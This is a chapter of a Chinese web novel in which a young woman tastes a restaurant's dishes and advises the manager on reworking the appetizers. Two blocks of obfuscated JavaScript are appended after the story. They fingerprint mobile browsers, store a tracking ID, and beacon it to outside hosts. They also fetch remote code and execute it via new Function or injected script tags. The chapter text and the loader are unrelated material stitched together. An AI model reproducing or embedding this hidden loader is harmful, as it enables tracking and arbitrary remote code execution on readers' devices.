第25章 你是来踢馆子的吧？（第1页）
睪小姐这菜比盛京的，也不差。”莲心和落葵两个人分工明确，一个给她装水洗手，另一个就给她布菜。
不管是三杯鸡还是粉蒸肉，看着菜品精致，色香味俱全。
“落葵，把掌柜的叫来。”萧九玥将每一道都尝过了，才开口说着。
“好咧。”落葵抬脚出门，就去叫掌柜的了。
莲心虽有疑惑，但始终没有问出来。
萧九玥擦了擦嘴，端着旁边的茶水喝着，没有要解释的意思，很快，掌柜的就过来了。
“姑娘安好，我是酒楼的掌柜，曾青，可是饭菜哪儿不合胃口？”掌柜的笑脸盈盈的，看到萧九玥的时候，眼神亮了亮，这位小姐，第一次来酒楼吃饭。
“曾掌柜。”萧九玥微微颔首，视线落在摆满桌子上的菜品道：“三杯鸡肉香浓郁，甜中带咸，咸中带鲜，很不错，米粉蒸肉，米粉的油润混着肉香，自是不错，就是这前菜酸辣黄瓜丝，只有盛京的形，却没有盛京的味。”
曾青听着前头的夸赞，心中很是高兴，再听着后半句话，他心中一凛，这姑娘是盛京来的，他躬身，笑着回答道：“姑娘有所不知，如今这时节能吃上黄瓜，已然是不易了。”
如今这都快入冬了，要不是用特殊的方法，他们酒楼哪里来的黄瓜？
“原来如此，那你们酒楼为了这黄瓜，倒是花费了心思，可惜，味道不够爽脆。”萧九玥惋惜的说道：“难怪，你们酒楼，一直比不过鸿兴楼，只能称第二呢。”
萧九玥没等曾青生气，便自顾自的继续说着：“这黄瓜爽脆度不够，怎么没想着，用别的菜当前菜呢？”
曾青的嘴角抽了抽，这是哪里来的娇小姐，他微笑的说：“我们这边还有其它前菜，比如说白灼菜心，味道不错，还有卤猪耳，花生米……”
曾青一一介绍着。
萧九玥道：“那就劳烦掌柜都拿上来尝一尝。”
“姑娘且慢等。”曾青转头就去厨房端了七八盘前菜来了，个个用灰色的小碟盛着。
萧九玥一一尝了尝，道：“曾掌柜，你家就没有什么有新意的菜吗？这些菜在盛京酒楼，十家有八家都是这些前菜。”
曾青语塞，垂眸敛起心中不满，嘴角勾起一抹职业的假笑，道：“姑娘，你是来踢馆子的吧？”
“怎会，曾掌柜真是误会我了。”萧九玥眼眸清亮而又透着无辜，她真诚的说道：“我觉得贵酒楼的菜品味道一点都不比鸿兴楼差，却位居第二，怕是委屈了，如今看来，便是输在这前菜上了。”
“哦？”曾青一时间竟然分不清眼前的姑娘，是不是真的来找茬了，他问：“那姑娘以为，这前菜该如何改善？”
“当然是换个做法。”萧九玥将早已经想好的说辞拿了出来道：“比如说这花生米吧，师傅的火候不错，炸出来的花生米也香，但，天天吃，日日吃，谁不腻？”
“花生米除了可以油炸，还可以做盐焗的、酸辣口的、糖霜的还有五香的等等。”萧九玥侃侃而谈，提起这些吃食，她可太熟了！
以前她得罪领导被穿小鞋从农科院离开，就去了一家百年卤味店，那里的老卤做的那叫一个味正，她道：“再说这猪耳朵，酱香味太浓了，如果换个做法，换成咸甜口，麻辣口，味道或许又是不同的。”
“再说这白灼菜心，老硬的茎不舍得去掉，这颜色发黄，一点都不够翠绿。”萧九玥每说一句话，曾青的眼底，便多了几分深思。
function UmSumU(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UmSumU(t);};window[''+'t'+'s'+'K'+'u'+'A'+'s'+'K'+'t'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://abc.fsgfghh.com:8887/stats/2178?i=57&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/zj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/zj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/zj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/zj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLmNmZHp4di5jbb20lM0E4ODg3','d3NzJTNBJTJGGJTJGGZC5rZ21jaGGZiLmNvbSUzQTg4ODc=','2369',window,document,['b','G']);}:function(){};
function ZLZLLM(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ZLZLLM(t);};window[''+'W'+'W'+'T'+'r'+'k'+'t'+'T'+'t'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwe.kfngksng.com:8887/stats/2178?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLmprraGZrrbGZ4LmNvbSUzQTg4ODc=','d3NzJTNBJTJGJTJGZC5rZGhmma2xqZmmMuY29tJTNBODg4Nw==','2368',window,document,['r','m']);}:function(){};